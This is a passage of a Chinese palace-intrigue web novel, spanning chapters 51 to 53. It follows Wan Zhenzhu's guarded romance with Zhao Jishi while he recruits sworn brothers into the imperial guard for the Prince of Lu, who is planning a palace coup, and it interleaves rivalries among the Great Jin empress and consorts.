万珍珠的目光瞧着赵济世,她笑道:“我心头也是有赵大哥的。只是……” “只是顾念了我们的身份,天各一方,总归为难。”万珍珠摆出事实来。 有些话不避讳,真避讳就不是万珍珠如今的性子。 敢讲的话,真就讲了。 “只赵大哥也当知,我这人实诚。从来都认为心在哪,钱在哪,爱在哪。”万珍珠笑道:“我从不识为,真爱谁,还是让人吃糖咽菜,过得清贫。” “又或者说,图了外人的好名声,让自己胳膊内的亲人爱人苦一苦。我不是那等自苦的人。”万珍珠剖白一回。 赵大哥都要回燕京都了,离开前,万珍珠给赵大哥上一上课。 一旦离久,感情会不会淡了?万珍珠可能在意,可能不在意。 如今的万珍珠嘛,她自个也闹不清楚。 总之,在感情的问题上,甭管将来结果会如何? 反正万珍珠一定要站在道德的至高点上。 万珍珠可不想吃了亏欠,就是二人分离,二人注定没好果子吃。 万珍珠也得扣一个屎盆子在对方头上。有问题,出差子,那一定不会是万珍珠自个的错。 这不,捻打俱唱,万珍珠十八般的武艺准备在“好人”赵大哥的身上使一使。 瞧瞧,这会儿万珍珠就是立一立人设。 “妹妹的钱,瞧着要使唤在我身上。让我拿着妹妹的贴己奔了前程。妹妹人好,我都知道,我占大便宜。”赵济世望着万珍珠,瞧着万妹妹的做派,没觉得矫揉造作。 赵济世反而瞧着这般的万妹妹可人可爱。 又或者说,这便是各花入各眼。中了眼缘,瞧对方哪,哪都好着。 洪福十七年,春,赵济世离开镐京都。 没急着回燕京都,赵济世回了一趟北镇。他回北镇,只为拉了自己的班底。 北镇十三子,赵济世与十二个结义兄弟的名头。 在当年也是响当当。 当然,哪怕这些年赵济世不回北镇,他在父老乡亲们的眼中,也一样是好汉子。 毕竟谁家有这样的结义大哥,好吃好喝,不止养兄弟,还养兄弟家人。 虽然这一位好大哥的规矩多一点,可这等有荣光一起分享的好大哥。 谁遇上了,谁都高兴。 真是谁敢炸刺,莫说兄弟要骂,就是亲人与父老乡亲们也得骂了白眼儿狼。 在北镇,赵济世的名头好,可谓一呼百应。 说是从者如云,一点也不夸张。 主要是前面的人设立得好,赵济世做大哥,人人都放心。 这不,一归北镇,赵济世瞧见的全是“亲人”呐。 大家伙把他当亲人,当兄长看。 人人都想跟着赵济世这一位好兄长奔前程。风里来,雨里去。 吃苦? 没人怕这二字,就怕着没机会去奔了前程。 北镇的庄园有多大?赵济世听二弟马义讲过。 可那会儿只听过,心里能畅想。毕竟混了大皇子跟前当差,富贵窝的荣华,赵济世就是没享受着,还是亲眼瞧见过。 一奔小半天,还在自己的土地上。那土地得多广? 赵济世心头有数儿。 可真的回了北镇,赵济世瞧着自己名下土地的辽阔时,他也感慨不已。 都说北镇穷酸,北镇的土地比着燕京都,那真不值钱。 当然这不值钱是相对的,真是让北镇的父老乡亲们自己置业,那也难得很。 只能说站的位置不同,瞧着的风景也不同。 “大哥。” “大哥。” “……”一声一声的大哥唤了赵济世。瞧着自己的结义兄弟们,赵济世很高兴。 一归北镇,先拜访长辈们,赵济世送了礼。还探望每一个小辈,又赠了长辈礼。 尔后,赵济世拉着兄弟们吃酒。 没什么是吃酒解决不了问题的。自家兄弟也罢,北镇的豪强也罢。 赵济世都是谈得开,谈得来。 谁让赵济世归来的用意简单,他就想拉着大家伙一起奔前程。 奔谁的前程?当然是投靠了大皇子李明弘。 要搏,就搏一场 大富贵。从龙之功,莫过如此。 燕京都,内城,鲁王府。 李明弘在父皇登基后,也被封王开府。他如今就是堂堂正正的鲁王。 “倒是胆大。”李明弘瞧着下面人的汇报,又瞧过赵济世递上来的秘报。 李明弘感慨一回。 对于赵济世做的事情,李明弘知道。 李明弘是满意的,下面人摇旗呐喊。李明弘很需要。 如今瞧着鲁王府风光,可李明弘清楚。他的父皇在削了鲁王府的根基。 往年结交的人脉,又是如何?那些世家大族们是见风使舵的主。 父皇有意扶持了下面的弟弟。李明弘这一位既嫡且长的鲁王,倒显得尴尬起来。 “东宫……”李明弘的目光望向东宫的位置。 明明他是大皇子,他的生母是父皇的元配。若是父皇真的在意他这一个嫡长子,他做太子,堂堂正正。 新君上位,大势已安。如此,还让东宫太子的位置一直空着。君父的做法,让李明弘的心里难受。 那些年,父皇未曾登基前,在齐王府里对他的疼爱是假的吗? 他们的父子之情,在皇权面前危若如此,让李明弘情何以堪。 特别是世家大族的背叛,有些人已经跳船了。 这让李明弘的心情更坏。 而赵济世在北镇的大戏,唱的让李明弘很开心。 这证明了李明弘还是有人看好,乐意投了大注上船。 至于未来如何?李明弘这一位鲁王很清楚,他没得退路。 做为嫡长子,还是皇帝的嫡长子。不当东宫太子,不做新一任的天子。 他这等嫡长子的下场,注定不会得一个好字。 不争是死,如何能不争? 李明弘为着自己的小命,他也得争,一争到底。 “本王倒想瞧一瞧归来后,北镇赵大郎的风采。”李明弘说罢,哈哈大笑一回。 镐京都,内城,浑江郡主府。 万珍珠瞧着归府的亲爹,瞧人累着,一回来先大睡一觉,一睡就一天。 “爹爹,您可是府上的擎天柱,万万不能累倒了。”万珍珠在亲爹醒来后,亲自奉饭,亲自呈汤。 就想让亲爹在府上,还是享受一下女儿的孝心。 牛二囡在旁边瞧着父女二人的互动,她就笑笑不语。 瞧着,牛二囡还是瞧一场欢乐。 万忠良吃了茶饭,喝了羹汤。他的表情舒坦。 “难得归府,还是享受了闺女殷勤。好,好。”万忠良夸一回。 一家三口,聚一聚,吃吃饭,谈谈话。 这等的好气氛,万忠良巴不得。能不让仆从侍候打扰。 万忠良就不乐意旁人掺合一脚。 在宫廷里,万忠良是侍候天子的。回府上,他就想享受了亲情。 至于下面人的侍奉,万忠良不缺了狗腿子。 有心与无心,当差的殷勤,还是女儿的孝心,这里面的差别嘛,万忠良心里分的清楚明白。 “宫廷里近些日子乱着。”万忠良感慨一回。 “宫廷里乱着,夫君倒要受累。”牛二囡回道。 “累就不怕,就怕下面有人太蠢。真是蠢人蠢事多。”万忠良也烦。 “爹爹,应该罚就罚。您可不能真累着。不然,您让女儿和娘怎么办。”万珍珠就怕亲爹遭罪。 要知道亲爹这岁数,还是得好好的保养身子骨。 人嘛,一辈子最大的财富之一就是一幅好身板。 “放心,咱心头都有数。”万忠良回道。 “那,夫君,宫廷内苑倒底出些啥事?我和珍珠能听一听吗?”牛二囡问道。 “朱充仪跟前的四皇子出事。”万忠良说道。 “啥,四皇子出事,祸事,天大祸事。”牛二囡嘀咕一回。 牛二囡这会儿还问了朱充仪咋样?牛二囡是关心了朱凤曦的。 “放心,四皇子无恙,宫廷里的太医也不是吃素的。”万忠良摆摆手,表示四皇子无恙。 万忠良没讲的,那就是他一直差人护着四皇子。 哪怕对于朱充仪、朱氏一族有恶意。可对于四皇子,万忠良没恶意。 恰恰相反,因为洪福帝的子嗣太少。特别是皇子活着的太多。 万忠良一直在护着皇帝的子嗣。 若非如此,四皇子那儿哪能得着如今的平安无恙。 “爹爹,谁这般胆大,还敢动了四皇子?”万珍珠问道。 万忠良没回话,只是指一指皇宫的方向。 万珍珠再一瞧,不,应该是指了昭阳宫的方向。 “昭阳宫……”万珍珠吐三字。 “心里有数就成。”万忠良讲道。 万珍珠重重的点头。她太有数儿。 甭管魏皇后,还是朱充仪,在万珍珠心里从来是狗咬狗,一嘴毛。 镐京都,皇宫,昭阳宫。 魏皇后的凤印又被夺了。被洪福帝下旨夺了。 沁阳公主去替母后求情,虽是见到父皇,却没能求到给母后的恩典。 因此,沁阳公主回了寝殿,还是食不安,睡不香。 昭阳宫,正殿。 “嬷嬷,沁阳怎么样?”魏皇后在意女儿。 “皇后娘娘放心,公主殿下已经歇下了。”魏嬷嬷小心的回话道。 “本宫哪能放心,沁阳今个夕食又用得少。瞧着用三两口,吃没吃,哪有区别?”魏皇后知道女儿不想用饭。 魏皇后心情就坏了。 魏嬷嬷心情更复杂。对于沁阳公主的心结在哪? 魏嬷嬷低头,她都不敢多瞧皇后娘娘。 公主殿下的心结一直在皇后娘娘身上。娘娘一出事,公主就担忧。 偏生魏皇后性子越来越拧。往前还听劝,如今,连劝话都不乐意听。 魏嬷嬷能怎么办?她也是无可奈何。 特别是魏皇后小产后,对于四皇子生了恨意。 恨意何来?魏嬷嬷真清楚。 在皇后娘娘心里,觉得昭阳宫的未出世小皇子,那一定是被四皇子克没了。 这消息准不准?魏嬷嬷不太信。 到底皇后小产时,月份太小,也不知道小产掉的皇嗣是皇子,还是公主? 谁也拿捏不准啊。 可魏皇后认定的事情,魏嬷嬷一介奴仆,她也做不了主的。 遭遇这等主子,牛脾气,倔强的撞了南墙还不回头。魏嬷嬷心累,身累,累的活不好,死不成。 活着怕被拖累,死了,更怕家人不得好。 昭阳宫里,各人觉得自己都难。 魏皇后觉得她命苦,好好的皇儿被人克没了。 沁阳公主也觉得自己命歹,母后不得父皇的心意。她这一位嫡出的公主跟地里的小白菜一样,三月里,地里黄。 爹不爱,娘不疼。 至于魏嬷嬷等奴婢,他们更怕,怕天子一怒,牵连无数。 昭阳宫里,气氛沉沉。 朱充仪一样在生气,气的差一点跳脚。 “皇后,哼,哪有母仪天下的风范。”朱凤曦真想骂了脏话。 可她是九嫔之一的充仪娘娘,她得要脸,不止为自个,更是为了四皇子的体面。 “毒妇。”最后的最后,朱凤曦骂了这一句两字。 在朱凤曦的心中,洪福帝是事非不分。那昭阳宫的魏皇后不是头一回谋害皇嗣。 不,应该说加害皇子。 偏生魏皇后逃了一回又一回的劫。天子不想动皇后。 朱凤曦心堵。 要知道宫廷外,朝堂上,朱凤曦的娘家人给庆德长公主一系的人,那是逼得生死两难。 朱凤曦的娘家出事,这等大事,当然瞒不住。 四皇子会成早产儿,就是因为宫廷外的消息漏进了朱凤曦的耳里。 如此,朱凤曦才会动了胎气,早产下四皇子。 因着早产,四皇子 的身子骨要说多健康?朱充仪敢说,太医都不敢保证。 皇儿早产,身体有恙,还得仔细养着。养大了,才可能娶妻生子。 问朱凤曦恨谁?她当然恨魏皇后,还有魏皇后背后的一系人。 奈何朱凤曦比不得魏皇后是中宫皇后,她只是妃妾。 便是魏皇后背后的势力,那也是朱氏一族比不得。 若不然,朱氏一族不会被打的节节败退。 如今还能稳一手,全靠朱凤曦的膝下有四皇子这一个名头撑着。 皇子外家,前程有望。 在这等情况下,朱氏一族能撑一撑体面。也有一些墙头草在摇摆,更不想把事情做绝了。 谁让魏皇后膝下没有嫡皇子呢。魏皇后无子,也是一些人犹豫的原由。 宫廷内苑。大戏上演。 参演的可不止魏皇后、朱凤仪。那些年,不曾登台的人里,又何尝不是想着登台唱一曲。 洪福十七年,夏。 万珍珠的十七岁生辰。她得着千里之外,赵济世差人送来的生辰礼。 夏日,一方玉印,上上等的暖玉。赵济世的生辰礼之一。 这不是最要紧的,最要紧的是赵济世知道万珍珠喜玉。 这不,还送了好玉料来。让万珍珠做些小印自己把玩。 这一个生辰礼,万珍珠过得挺开心。 牛二囡做为浑江郡主的生母,瞧着女儿又大一岁。 免不得她跟丈夫万忠良问一问,女婿在哪? 想当丈母娘的牛二囡着急了。闺女一天大过一天,这可不能砸手里当老姑娘。 又是一日炎炎日,夏日暑重。 万珍珠和亲娘一起吃了冰碗。一解暑意。牛二囡跟女儿讲道:“有一场赏荷宴,我儿,可要陪娘去参加了?” “不去。”万珍珠回的干脆利落。 哪是赏荷宴,相亲宴才对。万珍珠心里太有数。 “如何,还在想你的三年之约?”牛二囡可知道,燕京都的赵济世差人给女儿送礼。 对此,牛二囡不开心。 “……”万珍珠给咽着。 燕京都太远,那里有哪些风云变幻,万珍珠暂且不知道。 毕竟距离远着,有些事情便是发生了,也得许久以后可能才知道。 但是,做为商社的建立者,所有人。万珍珠知道,她认可的好人“赵大哥”拿了分红,还抵帐了许多值钱物拾,同时,又支取走大笔大笔的银钱。 银钱拿走,总要花销,花在何处? 对于一心奔前程的赵济世会把银钱花在何处,万珍珠有一点猜想。 不,应该是有亿点点猜想。就是猜着,也只是不讲出来罢了。 “娘。”万珍珠唤一声。 “三年之约,您知道,也莫笑女儿啊。”万珍珠娇嗔一回。 “女儿有人垫底,万事托着。这不怕不担忧,还不好吗?”万珍珠笑问道。 “就怕你的心野了,无处安放。”牛二囡伸手,还是虚点一下亲闺女的额头。 “娘信爹爹,女儿的终身大事有爹爹把关的。”万珍珠抬一抬亲爹。 “成,你父女二人一条心,我且等着,就要瞧一瞧,你爹给你把关,倒寻着如何的东床快婿。若是不好的,我可不允了。”牛二囡的神情放松下来。 在心底,牛二囡还是相信万忠良的本事。 对于未来的女婿嘛,牛二囡一直期待。那什么赵济世? 人再好,又如何。反正不在牛二囡的女婿名单里。 又一日,万忠良回府。 牛二囡在夫君跟前嘀咕一番,略提一嘴女婿的事情。 “这事不急。”万忠良说道:“等朝局缓一缓。如今的贵人,指不定哪一日倒成了罪人。” 万忠良的态度明白,那就是等着大局定夺下来。 反正落万忠良的眼中,大决战快到了。 前面的铺垫那般多,如今斗兽场上,谁都是鲜血淋淋。 没得退,退不了。输了,谁认? 搁谁身上,谁都不想认输。因为在东方大地上。 这儿讲的是齐齐整整,输了,全家躺板板。 谁让老话说过,斩草不除根,春风吹又生。 斩草除根,诛灭祸患。防患未然,这才是大家伙的理念。 谁都认的时候,就是普世的规矩。毕竟,谁手软了,那注定得吃亏。 不止是自己吃亏,更可能给儿孙埋大雷。还是不死不休的大雷。 “宫廷里又出事,德妃殁了。”万忠良讲道。 “德妃?”牛二囡愣神一下。 “南边大吴朝的和亲公主。”万珍珠提醒一下亲娘。 “哦,原来是和亲公主。”牛二囡想起来。 “和亲公主殁了,这不得跟大吴朝闹僵起来。”牛二囡讲道。 “是贵妃惹的灾。”万忠良讲道。 “……”牛二囡沉默。 “二位和亲公主闹出事,德妃殁了,贵妃呢?爹爹,贵妃应该被罚了吧。”万珍珠说道。 “降位,禁闭。”万忠良简单四字。 “只降位,再禁闭。这大吴朝的公主不值钱啊。”万珍珠啧啧两声。 “两朝公主,俱是贵人。闺女,不兴你的说法。”万忠良提醒一回亲闺女。 “爹爹,也就在您和娘面前,才容我放肆了。搁外面,女儿一定闭紧嘴巴。”万珍珠坦诚态度,又道:“爹爹,这般事情闹僵出来,也不知,那大赵与大吴二朝会如何看待?” “陛下后宫事宜,干二朝何事。”万忠良的态度很明白。 二位和亲公主嫁进大晋朝的天家,嫁出去的女儿泼出去的水,跟娘家干系不大了。 “爹爹,您这道理,不对。”万珍珠不认同亲爹的态度。 “哦,闺女给说说,咱哪里不对?”万忠良脸上的神情是似笑非笑,还跟亲闺女问道。 第52章 “爹爹,贵妃、德妃哪怕是和亲公主,是陛下后宫的嫔妃,可她二位的父皇是二朝天子。”万珍珠讲道:“女儿哪怕是闲人一个,也听说大赵朝、大吴朝不和睦的紧。万一,二朝打起来了呢。” “到时候陛下这一位便宜女婿,应该站哪一边为好?”万珍珠问道。 万珍珠更想说,嫁出去的女儿泼出去的水。这意思嘛,那是有儿子,不在乎女儿的人家才会这般想。 真是独女,哼,那心思应该不一样的。 至少万珍珠估摸亲爹眼中,女婿怎么也比不得亲闺女重要吧。 若不然的话,她跟赵济世的三年之约,爹娘咋不同意? 不就是瞧不上这一个女婿的候选人。 “尽瞎想。”万忠良的回答很简单。 在万忠良的眼中,亲闺女想太多。还能替天子拿主意不成? 没得想太多,倒是万一秃噜嘴,还是给自个招了麻烦。 万忠良又叮嘱一回。 “爹爹放心,女儿省得。就在您二位跟前多嘴一回。搁外面,女儿不傻。”万珍珠心头有数。 “你心里有数最好。”万忠良笑道:“咱就盼自家多出聪明人。” “闺女,你聪明伶俐,这婚事上也得醒目些。那什么三年之约,当一个笑话就成。莫当真了。”万忠良又提醒一回。 “……”万珍珠沉默片刻。 “爹爹放心,女儿心里有数。”万珍珠对于她和赵济世的未来,她本来就是不抱有大希望。 可爹娘总叮嘱,让万珍珠有一点懂得。为何长辈越是棒打鸳鸯的爱情,越容易让人上头。 实在是人有逆反心理。 万珍珠如今就有一点点,到底念着亲爹亲娘为她好。 或者说对于远嫁什么的,万珍珠真不想。 这不,万珍珠压下了自个的逆反心理。她在心头劝自己。 时代不同,远婚近臭,这道理不能用在自己身上。 真搁远了,做婆家的新妇。那日子过得好,还是好。要是过得差了,真没人给做主。 毕竟人生地不熟的,被人欺负了,唤天不应,哭地不灵。 大赵朝,燕京都,内城,鲁王府。 李明弘瞧着归来的赵济世,他笑道:“回来就好。” 对于赵济世一归来,还是替他拉拢不少人脉。李明弘很满意。 或者说赵济世领着的一伙兄弟们,也是借着鲁王的势力,如今安插在了下层中。 特别是燕京都周围的军营里,最近加了不少人手。这些人手全是赵济世的人脉。 或者说全是北镇出来的小兄弟们,全是认了赵济世这一位好大哥。 底层又如何?越是底层,越认本事。 大军之中,不比后台的时候,那认的 就是拳头。 谁的拳头大,谁就有说服力。 北镇乃边地,那地方不止有中原人,也有归化的胡人。 说是归化的胡人,几代人下来,跟中原人吃一样的饭,说一样的话,穿一样的衣,也没甚的区别。 毕竟通婚下来,一个嘴巴两只眼睛,瞧着模样一样。 说是中原人,中原人瞧着,也是分不出一个三六五来。 这些归化的胡人改了汉姓,在北镇生根落地,落赵济世眼中,只要服他的。 他一样当兄弟,行走四方,赵济世一直是结交好友,能认兄弟的,他从不推辞。 靠什么行四方?赵济世靠的就是兄弟多。 虽然不是亲兄弟,可这认的兄弟,感情到位,也胜似亲兄弟。 “王爷,属下归来,听您差遣。”赵济世的态度端正。 吃谁的饭,端谁的碗,这态度上得明明白白。 大赵的天下,还是李家的江山。 李明弘这一位鲁王的前程无量,赵济世和小兄弟们就想搏一个从龙之功。 想要上位,还想挤掉世家大族们的位置。那么从龙之功,就是最好的上位筹码。 位卑之人,出身贫寒,不靠一条命去搏出位。 赵济世是瞧不见旁的出路。 既然要卖命,当然是货于帝王家。因为帝王家给的价钱最高。 给世家世族卖命?在北镇时,贫苦寂寥的日子里,赵济世都不想给世家世族当狗。 他这一辈子,还是要倔强一回。那就是搏富贵嘛,就搏一场大富贵。 豪赌如此,下注不悔。输了,赔命。赢了,走出一条通天大道,给子孙后代留了一份祖宗基业。 “本王盼济世归来,盼的太久。”李明弘招呼赵济世在书房落坐。 李明弘有事情要跟赵济世吩咐一番。或者说手头上的人事里。 李明弘有些事情是要让赵济世去办好办妥。 因为李明弘很清楚,他这班底里,那些出身大族的人。他们的立场嘛,鲁王要怀疑一下。 可赵济世的立场一直太鲜明。李明弘不怀疑。 又或者说赵济世替李明弘当手套,那干的事情太多。 赵济世想跳下李明弘的这一条船,赵济世想跳,也得让人相信。 李明弘知道的,上船太久,赵济世没得跳。 一旦鲁王府沉了,赵济世也得陪着。 当然,一旦鲁王府青云直上,李明弘也会记着赵济世这一个臣子,这一个从开始跟到底的臣子。 有功就当赏。这一点道理,李明弘很懂。 在鲁王府里,赵济世接到了鲁王给的差遣。 赵济世二话不说,当场应下。 差事难不难,这不要紧。差事再难,有大困难,赵济世也得上马,还得功成。 燕京都,内城,赵宅。 夏日,赵济世凑一个好日子,还请在燕京都的小兄弟们吃酒。 自家宅子里吃酒,吃吃喝喝,也是聊了一些事宜。 在兄弟跟前,赵济世豪爽大方。他给小兄弟们一一补贴。 不为旁的,只为了让兄弟们也是在军中收揽一二的人心。 想收揽人心,不止得有过人的拳头。还得有利益。 利益何来?点点滴滴,从小事做起。 哪怕是小事,只要付出,就得花钱。赵济世知道自家的小兄弟们个个钱包瘪得很。 真是富裕的,在北镇之时,也跟赵济世走不到一处。 说白了,大家伙全是穷苦人出身。 赵济世拉拢人,那当然是从小成本开始的。用的就是一颗真心。 “自家兄弟,哥哥没多少能帮衬的。这些,让兄弟拿着。贴补一下吃食,不止自己花销,也给军中的好汉们一起花销。”赵济世给吃酒的小兄弟,一人塞了一个大大的红封。 “大哥……”结义兄弟里,老二马义说道:“这些日子你给的不少。咱们兄弟伙的,不能总让您一人贴补上。” “兄弟们还盼着大哥迎娶嫂嫂。大哥,您可得攒一攒私房钱。要不,这些还是省了吧。” 不止马义劝。一众小兄弟们都劝。 这时候的北镇十三子,除了赵济世这一个大哥外,其它人都成婚了。 成婚也是结义大哥赵济世给掏的聘礼钱。 兄弟们感恩大哥,不止感恩,也是关心大哥。 没大嫂进门,大哥这孤枕寒凉的,兄弟们担忧操心呐。 “我给的,你们都收下。怎么,不认大哥?”赵济世问道。 见大哥一唬脸,一众兄弟里,没谁敢接这话。 卢泰山最老实,又是北镇十三子里的老十三。 卢泰山就讲道:“那,我听大哥的。这钱,我拿。” “回军中,我依着大哥的话,也是请吃请喝。一旦队伍里有谁困难,我一定出力帮。拉好队伍,我这人就认大哥,大哥让干啥,我干啥。”卢泰山拍了胸膛,拍的啪啪做响。 有卢泰山这一个小老弟开口应话,其余诸兄弟也是见好就收。 或者说大哥美意,大家伙都领了。 “吃酒,吃酒。”马义也开口劝话,说道:“今天开心,全听大哥的话。” 场中气氛,一时又热络起来。 赵济世有兄弟们的帮衬,在军中的消息灵通着。 不止灵通着,还是一张网越拉越大。 只是跟那些世家世族不一样,世家世族的子弟走的是上层路线。 赵济世嘛,他走的底层路线。 赵济世旁的不多,就是兄弟多。兄弟又有好友。 一个拉一个,这揽下来的大头兵可不少。 至少赵济世一伙人在底层的名声特好。说赵济世是军中的及时雨,那一点不为过。 在底层有名声,可在上层吗? 赵济世没多大的名声,赵济世干事,从来是顶着鲁王的名头。 真论名声,那也是鲁王得了名。 洪福十七年,夏末,大赵朝、大吴朝边疆起冲突,纷争战起。 在大赵朝、大吴朝的边疆不安生时。大晋朝,镐京都,也是风云变幻,起起落落。 镐京都,内城,浑江郡主府。 明明夏日将过,秋日要来。秋天,最是好时节。 就是这等时候,镐京都的气氛变坏。 万珍珠也不想什么秋猎,她在担忧着亲爹在宫廷里的情况。 万珍珠真怕,那是亲爹做了被殃及的池鱼。 朝堂上,说是刺刀见红,也贴切。 魏皇后一系要保中宫地位。四皇子一系,也想反扑。 洪福帝还没有裁决,这一位不开口,真是熬人的很。 让很多的墙头草在斗兽场里,那是成了先被扫落的棋子。 “禀郡主,荣恩伯府递了贴子。”贴身丫鬟禀话道。 “荣恩伯府。”万珍珠念叨一回。 “我瞧瞧。”万珍珠拿过贴子瞧一瞧。 “赏荷宴。”万珍珠瞧着荣恩伯府的赏荷宴邀请。 万珍珠真不想应承下来。谁让荣恩伯府的背后,还有宫廷里的王贤妃。 王贤妃的膝下还有三皇子,在如今宫廷内苑里风云变幻的时候。万珍珠不想选边站。 谁赢谁输,没一个结果。万珍珠干嘛去招惹麻烦。 特别是亲爹还是天子心腹的情况下。万珍珠得中立。 虽然“中立”二字是牌坊。可牌坊嘛,既然立起来,那就得遵守。至少表面上得遵守。 只是万珍珠又想到三皇子一直养在洪福帝膝下。 因着这一位实际的皇长子存在。 王贤妃的地位有一点特殊。谁都懂,三皇子在洪福帝一位天子的心中地位不同。 比起四皇子,三皇子的前程更光明。更让人幻想啊。 “……”万珍珠沉默片刻。 “不巧,我近日不耐热,中暑,病了。”万珍珠给自己寻一个理由。 “我写书信一封,向荣恩伯府致歉一回。”万珍珠吩咐一句。 不止吩咐,她还真写信道歉一回。那甚的赏荷宴,她就不参加了。 万珍珠要闭府谢客。 不止荣恩伯府的宴,她不参加。旁的什么邀请一样,万珍珠全部谢绝。 说是养病,不如说,万珍珠更想站岸上吃瓜看戏。 至于自己登台 参演?万珍珠一点也不想当耍猴戏的猴。 万珍珠闭门谢客,只道自己病了。 真病假病?这不重要。她的态度很重要。 当然,一般二般的人也不会上门打扰。唯有林江郡主,这一位一直跟万珍珠走得近。 于是林江郡主带着补品药材登门拜访一回。 说装病,万珍珠当着林江郡主的面,那也继续装着。 做戏做全套,这道理,万珍珠太懂。 “妹妹病了,可严重不?”林江郡主瞧着躺榻上,还是抹了一层脂粉的万珍珠,关切的问一回。 “一点子小毛病,不过是乏暑了。”万珍珠请林江郡主落坐。 “待转凉些,等秋日到来,应会无恙。”万珍珠笑一笑,一笑,那脂粉都是卡粉了。 瞧着这般模样的万珍珠,林江郡主头疼。 “妹妹病了,也不必抹了太多脂粉。瞧着是气色好些。可到底是脂粉味太浓,让妹妹养病时,这鼻子得遭罪了。”林江郡主劝话道。 “……”万珍珠沉默了。 “听姐姐的,下一回,我不抹粉。”万珍珠应道。 “要说妹妹这一病,也是可惜。”林江郡主提一点镐京都的趣事。 万珍珠就是听一听。 这一回,林江郡主来一趟,还留下不少的补品。尔后,方才告辞离开。 林江郡主一走,也就次日。万珍珠得着新消息。 还是义兄宋三德差人递的话。 宫廷里的亲爹吩咐,让她好好养着,闭府闭门。 不止万珍珠不让出门,就是亲娘也一样。近日不要出门参加甚的宴会。 浑江郡主府内,小花园里。明明夏末,将是初秋。 荷要谢,菊花将灿烂盛开时。 牛二囡与女儿对坐,二人赏花园景致。同时,也是煮茶品茗。 仆从被打发走,远远的,也不必近前侍候。 牛二囡问道:“我儿,可听着你爹说一说,这近日究竟要出什么大事?” 明码讲话,让府里人不出门。这是牛二囡头一遭给遇上。她心里免不得惴惴不安。 “娘,您相信爹爹。爹爹有本事,自能护着府上。外面风云变幻,府上一定会安然无恙。”万珍珠安慰一番。 见亲娘就是想问一个明白。万珍珠搁下手中捧着的茶盏。 万珍珠说道:“至于具体发生什么大事?我也不知。” “……”牛二囡眼神失落。 瞧着在亲闺女这里问不出一二三四五,牛二囡心里痒痒的,她好奇啊。 “只不知,也能猜测一些。”万珍珠指一指皇宫的方向。 “有贵妃德妃二位出事,又有朝堂上大批的贬官抄家之事。娘,这说明什么?大风暴要起来了。有人不止要落水,更可能被大洪水淹死。”万珍珠实话实说。 至于谁活谁死?这一点嘛,万珍珠只等结果。 反正有亲爹做靠山,万珍珠相信昭阳宫是兔子的尾巴长不了。 至于朱氏一族?万珍珠相信荣恩伯府的人,那比万珍珠还心细,肯定盯的紧。 毕竟朱氏一族有四皇子,荣恩伯府有三皇子。 关乎着未来几十年,乃至百年富贵。荣恩伯府岂能容忍了四皇子的背后有巨力支持的存在。 能挖坑埋人时,想必荣恩伯府一定乐意至极。 这里面的水深,万珍珠怕把握不住。她就等亲爹添一添水,瞧一瞧,有多少觉得自己是善泳者,尔后,溺于水。 大赵朝,燕京都,内城,赵宅。 赵济世在下棋,不,应该说在自家的棋盘上布子。 “大赵、大吴……”赵济世布了子。 “燕京都内,交战双方,调兵……”赵济世在念着调兵二字时。 赵济世想着近日朝堂上的大动作。赵济世的神色一下子严肃起来。 近日,好些世家世族的子弟去了南边。有人想建功立业。 不,或者说有人得了天子恩赐。不止如此,鲁王最近的动作很少。 少的太安静,少的让赵济世这一个属下都怀疑。 鲁王是不是真安份守己? 可在调兵一事上,赵济世又瞧出来一些事情。 鲁王的支持者,这一位的亲舅舅与亲姨丈等人,那被大赵天子调出了燕京都。调往了南边。 鲁王的势力瞧着在削减,从京都,到地方。 一边弱了,一边强了。 这是表面上的事情。赵济世想到的还是自己的兄弟们。 明明在燕京都的军营里做基层的小武官。如今,大家伙都在升职。 不止升职,还是调离了军营,在往禁军里调。 那些禁军被调走的,多数是世家世族的姻亲旧故。 对,这些被调走的是底层。 高层,还是世家世族在盘固着要职。 可管大头兵的,从来不是高层。中坚与底层,那才是一一管了大头兵的头领。 赵济世发现,他和兄弟们都在禁军里当差了。 虽然他们都有上官。可他们织成了一张网。 这一张网里,不止是赵济世和他的结义兄弟。 赵济世在鲁王跟前当差久远。他还瞧着一些熟面孔。 又或者说,一些不太熟的面孔。行走四方,赵济世的人脉广博。 有些人,赵济世不认识。可有些人,赵济世摸过底。 熟面孔里,摸过底的。那些人跟鲁王有千丝万缕的联系。 禁军很大,禁军很小。 大在于人数,要护卫宫廷。小在于,禁宫的职责只是护卫皇家与宫廷。 连皇城,还有左右军在管控。禁军,只是天子亲卫营。 这等天子的亲卫营,鲁王在蛀空。上层不变,下层在变。 中层嘛,变得很少。 赵济世只是禁军里的中层。他不起眼。或者说他是摆明面上的,鲁王的心腹。 可暗地里,赵济世在观察。 赵济世知道的,他在禁军里结的网,很小很小。小的,可能是一个小结点。 鲁王的野望,在这一刻,让赵济世摸了脉。 “很好。”赵济世呢喃二字。 鲁王没野望,赵济世才要伤心。鲁王有野望,赵济世很开心,他的心头,火在熊熊燃起来。 大赵朝,燕京都,皇宫。 鲁王刚见过君父,在君父跟前,鲁王李明弘还见着得宠的弟弟。 枕边风的威力,鲁王是瞧见了。 谁让原来的齐王继妃成了如今的中宫皇后。 鲁王生母早逝,这是缺陷,大大的缺陷。 因为鲁王李明弘在宫廷内苑里,真没人替他吹了君父的枕边风。 鲁王已经结交了一点宫廷内苑的人脉。可惜,不足用。 或者说在中宫皇后面前,还不足用。 时间太短,寻了合适的人手嘛?难,很难。 中宫皇后可不想给自己儿子拆台。倒是给鲁王拆台,大赵的皇后很乐意。 出了皇宫,坐上马车。 鲁王闭上眼睛,他在思考一些事情。待回王府后。 鲁王唤了幕僚议事。 “南边起风,风起了,雨来了,何时当雷霆一击?”李明弘问了幕僚。 什么雷霆一击,不用多说,懂得?都懂。李明弘见势来,他准备动手了。 “王爷,您请过目。”幕僚呈上奏本。 应该准备的,应该筹划的,鲁王府早在暗中进行。 目前嘛,不过是等着鲁王的一声吩咐。 看过幕僚的奏本,鲁王李明弘轻轻颔首。他拿过奏本,再是多阅读一回。 尔后,李明弘烧了奏本。他道:“先聚人马,本王要明大义。此,当仁不让,开一回先河吧。” 鲁王要开什么先河?当然是大赵朝的神武门继承法。 神武门,禁军守的宫门。如今,守门小将是李明弘的心腹之一。 从神武门可入禁内,李明弘要行之事很简单。 东宫的储君之位,君父不想给。那么,他自己去拿。 舅舅与姨丈往南边的边疆去打仗。人被调走,可心腹嘛,在暗中还是留了一手。 李明弘不准备继续等下去,就在君父得意之时,在某些人庆贺之时。 李明弘准备出其不意。 又或者说,应该做的,全数做了。如今不过是尽人事,夺天命。 第53章 “啊……”一声惊呼,万珍珠坐起身,从梦中醒来。 